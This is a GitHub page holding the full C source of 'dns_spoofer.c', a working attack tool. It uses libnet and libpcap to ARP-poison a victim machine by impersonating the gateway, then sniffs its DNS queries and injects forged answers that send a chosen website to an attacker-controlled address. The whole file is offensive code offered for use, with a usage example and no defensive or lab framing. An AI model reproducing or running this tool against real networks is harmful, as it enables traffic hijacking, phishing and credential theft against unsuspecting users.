-
Notifications
You must be signed in to change notification settings - Fork 0
/
dns_spoofer.c
361 lines (322 loc) · 10 KB
/
dns_spoofer.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
#include <libnet.h>
#include <stdlib.h>
#include <pcap.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <linux/if_ether.h>
#include <arpa/nameser.h>
#include <resolv.h>
#define COLOR_RED "\x1b[31m"
#define COLOR_GREEN "\x1b[32m"
#define COLOR_RESET "\x1b[0m"
char *interface_name; // Name of the interface on which sniffing will be done and through which fake packes will be sent eg. "wlo1"
char *gateway_ip_addr; // IP address of the gateway eg. "192.168.0.1"
char *website_to_spoof; // Website which will be spoofed eg. "www.github.com"
char *redirect_addr; // Website url or ip address which will be send instead of the website's eg. "192.168.0.47" or "www.guthib.com"
u_long redirect_ip_addr; // IP address of the redirect_addr
u_int8_t source_mac_addr[6]; // MAC address of "interface_name"
u_int8_t victim_hw_addr[6]; // MAC address of the victim
struct saved_ip
{
char *domain;
u_long ip_addr;
struct saved_ip *next;
};
struct saved_ip *head = NULL;
/**
* Returns ip addres for given domain if found in the saved_ip list else returns 0
*/
u_long get_ip_addr(char *domain)
{
struct saved_ip *curr = head;
while (curr != NULL)
{
if (strcmp(curr->domain, domain) == 0)
{
return curr->ip_addr;
}
curr = curr->next;
}
return 0;
}
/**
* Adds given domain and ip address to the saved_ip list
*/
void add_ip_addr(char *domain, u_long ip_addr)
{
struct saved_ip *new_saved_ip = (struct saved_ip *)malloc(sizeof(struct saved_ip));
new_saved_ip->domain = (char *)malloc(strlen(domain) + 1);
strcpy(new_saved_ip->domain, domain);
new_saved_ip->ip_addr = ip_addr;
new_saved_ip->next = head;
head = new_saved_ip;
}
/**
* Checks whether user provided all arguments and run the program as root.
* If not appropriate error message is displayed and program is terminated.
*
* @param argc number of arguments
* @param argv array of arguments
*/
void check_prerequisites(int argc, char **argv)
{
const int is_user_root = getuid() == 0;
if (!is_user_root)
{
fprintf(stderr, COLOR_RED "You must be root to run this program." COLOR_RESET "\n");
exit(EXIT_FAILURE);
}
const int are_all_args_provided = argc == 6;
if (!are_all_args_provided)
{
fprintf(
stderr,
COLOR_RED "Missing Arguments.\n" COLOR_RESET
"Usage: %s INTERFACE_NAME GATEWAY_IP_ADDR WEBSITE_ADDR REDIRECT_IP_ADDR VICTIMS_MAC\n"
"Example: %s wlo1 192.168.0.1 www.github.com 192.168.0.47 a8:44:12:13:g2:1b\n",
argv[0],
argv[0]);
exit(EXIT_FAILURE);
}
}
/**
* Contiously sends fake ARP responses. This function has to be started in a separate thread,
* because it contains an inifite loop.
*/
void *start_arp_poisoning()
{
libnet_t *ln;
u_int32_t target_ip_addr, zero_ip_addr;
struct libnet_ether_addr *src_hw_addr;
char errbuf[LIBNET_ERRBUF_SIZE];
ln = libnet_init(LIBNET_LINK, interface_name, errbuf);
src_hw_addr = libnet_get_hwaddr(ln);
target_ip_addr = libnet_name2addr4(ln, gateway_ip_addr, LIBNET_RESOLVE);
zero_ip_addr = libnet_name2addr4(ln, "0.0.0.0", LIBNET_DONT_RESOLVE);
libnet_autobuild_arp(
ARPOP_REPLY, /* operation type */
src_hw_addr->ether_addr_octet, /* sender hardware addr */
(u_int8_t *)&target_ip_addr, /* gateway ip addr */
victim_hw_addr, /* victim hardware addr */
(u_int8_t *)&zero_ip_addr, /* victim protocol addr */
ln); /* libnet context */
libnet_autobuild_ethernet(
victim_hw_addr, /* ethernet destination */
ETHERTYPE_ARP, /* ethertype */
ln); /* libnet context */
// Save mac address
for (int i = 0; i < 6; i++)
{
source_mac_addr[i] = src_hw_addr->ether_addr_octet[i];
}
printf(COLOR_GREEN "Sending ARP packets..." COLOR_RESET "\n");
while (1)
{
libnet_write(ln);
sleep(5);
}
libnet_destroy(ln);
return NULL;
}
//===================================================
// DNS sniffing and spoofing
//===================================================
char *errbuf;
pcap_t *handle;
void cleanup()
{
pcap_close(handle);
free(errbuf);
}
void stop(int signo)
{
exit(EXIT_SUCCESS);
}
/**
* Creates a fake dns response and sends it back to the client.
*/
void trap(u_char *user, const struct pcap_pkthdr *h, const u_char *bytes)
{
struct ethhdr *eth_header;
struct iphdr *ip_header;
struct udphdr *udp_header;
char *dns_header; // It could be a struct "dnshdr", but it's easier to just use char*
char *dns_query;
eth_header = (struct ethhdr *)bytes;
ip_header = (struct iphdr *)(bytes + ETH_HLEN);
udp_header = (struct udphdr *)(bytes + ETH_HLEN + LIBNET_IPV4_H);
dns_header = (char *)(bytes + ETH_HLEN + LIBNET_IPV4_H + LIBNET_UDP_H);
dns_query = (char *)(bytes + ETH_HLEN + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DNS_H);
// Check if this packet was send by this program and if so do not process it because it
// most likely was send by libnet_name2addr4() function.
int was_sent_by_this_program = 1;
for (int i = 0; i < 6; i++)
{
if (eth_header->h_source[i] != source_mac_addr[i])
{
was_sent_by_this_program = 0;
break;
}
}
if (was_sent_by_this_program)
return;
int dns_query_len = strlen(dns_query);
// Extract domain name from dns_query, because it is packed and thus it cannot be used directly.
char domain_name[128];
char *dns_query_backup = dns_query;
if (dn_expand((u_char *)dns_header, bytes + h->caplen, (unsigned char *)dns_query, domain_name, sizeof(domain_name)) < 0)
{
return;
}
// "dn_expand" changes given pointer so it needs to be restored
dns_query = dns_query_backup;
// If dns request is for wanted site then use fake ip addres
domain_name[dns_query_len - 1] = '\0';
libnet_t *handler = NULL;
u_long requested_ip_addr = redirect_ip_addr;
int domain_name_matches_website = (strncmp(website_to_spoof, domain_name, strlen(website_to_spoof) - 1) == 0);
uint16_t dns_id = dns_header[0] << 8 | (dns_header[1] & 255);
if (!domain_name_matches_website)
{
requested_ip_addr = get_ip_addr(domain_name);
if (requested_ip_addr == 0)
{
handler = libnet_init(LIBNET_LINK, interface_name, errbuf);
requested_ip_addr = libnet_name2addr4(handler, domain_name, LIBNET_RESOLVE);
libnet_destroy(handler);
add_ip_addr(domain_name, requested_ip_addr);
}
}
char dns_response[1024];
// Create response
memcpy(dns_response, dns_query, dns_query_len + 5);
// Set type, class and TTL
memcpy(dns_response + dns_query_len + 5, "\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\xff\x00\x04", 12);
*((u_long *)(dns_response + dns_query_len + 5 + 12)) = requested_ip_addr;
int dns_response_size = dns_query_len + 5 + 12 + 4;
int packet_size = dns_response_size + LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DNS_H;
handler = libnet_init(LIBNET_RAW4, interface_name, errbuf);
libnet_ptag_t dns_ptag = 0, udp_ptag = 0, ip_ptag = 0, eth_ptag = 0;
// Build all the layers
libnet_build_dnsv4(
LIBNET_UDP_DNSV4_H,
dns_id,
0x8180,
1,
1,
0,
0,
(unsigned char *)dns_response,
dns_response_size,
handler,
dns_ptag);
if (dns_ptag == -1)
{
printf("Building DNS header failed: %s\n", libnet_geterror(handler));
exit(1);
}
libnet_build_udp(
ntohs(udp_header->dest),
ntohs(udp_header->source),
dns_response_size + LIBNET_DNS_H + LIBNET_UDP_H,
0,
NULL,
0,
handler,
udp_ptag);
if (udp_ptag == -1)
{
printf("Building UDP header failed: %s\n", libnet_geterror(handler));
exit(1);
}
libnet_build_ipv4(
packet_size,
0,
6888,
0,
60,
IPPROTO_UDP,
0,
ip_header->daddr,
ip_header->saddr,
NULL,
0,
handler,
ip_ptag);
if (ip_ptag == -1)
{
printf("Building IP header failed: %s\n", libnet_geterror(handler));
exit(1);
}
libnet_build_ethernet(
eth_header->h_source,
eth_header->h_dest,
ETHERTYPE_IP,
NULL,
0,
handler,
eth_ptag);
if (eth_ptag == -1)
{
printf("Building Ethernet header failed: %s\n", libnet_geterror(handler));
exit(1);
}
int inject_size = libnet_write(handler);
if (inject_size == -1)
{
printf("Write failed: %s\n", libnet_geterror(handler));
}
libnet_destroy(handler);
}
/**
* Sets up libpcap and starts sniffing for dns packets. When a dns packet is sniffed, it calls the
* trap function. This function has to be started in a separate thread, because "pcap_loop" blocks.
*/
void *sniff_and_fake_dns_packets()
{
bpf_u_int32 netp, maskp;
struct bpf_program fp;
atexit(cleanup);
signal(SIGINT, stop);
errbuf = malloc(PCAP_ERRBUF_SIZE);
handle = pcap_create(interface_name, errbuf);
pcap_set_promisc(handle, 1);
pcap_set_snaplen(handle, 65535);
pcap_set_timeout(handle, 1000);
pcap_activate(handle);
pcap_lookupnet(interface_name, &netp, &maskp, errbuf);
pcap_compile(handle, &fp, "udp dst port 53", 0, maskp);
if (pcap_setfilter(handle, &fp) < 0)
{
pcap_perror(handle, "pcap_setfilter()");
exit(EXIT_FAILURE);
}
pcap_loop(handle, -1, trap, NULL);
return NULL;
}
//===================================================
int main(int argc, char **argv)
{
check_prerequisites(argc, argv);
interface_name = argv[1];
gateway_ip_addr = argv[2];
website_to_spoof = argv[3];
redirect_addr = argv[4];
char *victim_hw_addr_str = argv[5];
// Convert victim_hw_addr_str from string to binary representation
for (int i = 0; i < 6; i++)
{
victim_hw_addr[i] = (unsigned char)strtol(victim_hw_addr_str + i * 3, NULL, 16);
}
redirect_ip_addr = libnet_name2addr4(NULL, redirect_addr, LIBNET_RESOLVE);
pthread_t pth1, pth2;
pthread_create(&pth1, NULL, sniff_and_fake_dns_packets, NULL);
pthread_create(&pth2, NULL, start_arp_poisoning, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return EXIT_SUCCESS;
}